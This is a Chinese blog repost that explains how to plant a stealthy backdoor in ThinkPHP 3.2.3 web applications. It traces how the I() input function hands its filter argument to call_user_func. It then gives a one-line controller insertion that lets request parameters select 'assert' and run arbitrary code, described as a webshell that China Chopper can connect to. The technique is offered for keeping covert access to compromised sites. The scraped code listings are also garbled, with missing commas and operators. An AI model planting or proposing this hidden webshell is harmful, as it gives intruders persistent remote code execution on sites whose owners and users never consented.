ThinkPHP留后门技巧

原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html

90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。

    thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post、cookie类似。

    let me see see I函数的代码:

01function I($name$default ''$filter = null, $datas = null)
02{
03    ...
04 
05    if ('' == $name) {
06        // 获取全部变量
07        $data    $input;
08        $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
09        if ($filters) {
10            if (is_string($filters)) {
11                $filters explode(','$filters);
12            }
13            foreach ($filters as $filter) {
14                $data = array_map_recursive($filter$data); // 参数过滤
15            }
16        }
17    elseif (isset($input[$name])) {
18        // 取值操作
19        $data    $input[$name];
20        $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
21        if ($filters) {
22            if (is_string($filters)) {
23                if (0 === strpos($filters'/')) {
24                    if (1 !== preg_match($filters, (string) $data)) {
25                        // 支持正则验证
26                        return isset($default) ? $default : null;
27                    }
28                else {
29                    $filters explode(','$filters);
30                }
31            elseif (is_int($filters)) {
32                $filters array($filters);
33            }
34 
35            if (is_array($filters)) {
36                foreach ($filters as $filter) {
37                    if (function_exists($filter)) {
38                        $data is_array($data) ? array_map_recursive($filter$data) : $filter($data); // 参数过滤
39                    else {
40                        $data = filter_var($datais_int($filter) ? $filter : filter_id($filter));
41                        if (false === $data) {
42                            return isset($default) ? $default : null;
43                        }
44                    }
45                }
46            }
47        }
48    ...
49    return $data;
50}

    I函数的第三个参数是$filter,作用是对变量的过滤。

 

    新版本(3.2.3)中,$filter可以传入两种4种值:

    1.一个过滤函数(字符串)

    2.一些过滤函数组成的字符串,其间用“|”分割

    3.一些过滤函数的字符串组成的数组

    4.以“/”开头的正则表达式

 

    可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars

    convention_php_—_thinkphp.png

    以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:

1if (0 === strpos($filters'/')) {
2    if (1 !== preg_match($filters, (string) $data)) {
3        // 支持正则验证
4        return isset($default) ? $default : null;
5    }
6}

    如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。

 

    而回调函数部分,是我们留后门的关键。核心是这一段:

01if (is_array($filters)) {
02    foreach ($filters as $filter) {
03        if (function_exists($filter)) {
04            $data is_array($data) ? array_map_recursive($filter$data) : $filter($data); // 参数过滤
05        else {
06            $data = filter_var($datais_int($filter) ? $filter : filter_id($filter));
07            if (false === $data) {
08                return isset($default) ? $default : null;
09            }
10        }
11    }
12}

    如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。

 

    我们跟进array_map_recursive函数:

01function array_map_recursive($filter$data)
02{
03    $result array();
04    foreach ($data as $key => $val) {
05        $result[$key] = is_array($val)
06        ? array_map_recursive($filter$val)
07        : call_user_func($filter$val);
08    }
09    return $result;
10}

    明显是一个递归执行的过程,最后调用的是call_user_func 。

 

    还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。

    所以,我们只需要随意找个controller,在可访问的方法中插入:

1I('post.90sec''', I('get.i'));

    如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。

 

    我就拿thinkphp默认的IndexController下的index方法示例:

    IndexController_class_php_—_thinkphp.png

    如下即可执行任意代码:

    phpinfo__.png

    一个回调后门,菜刀也可以连接。

转载于:https://www.cnblogs.com/hookjoy/p/4973396.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值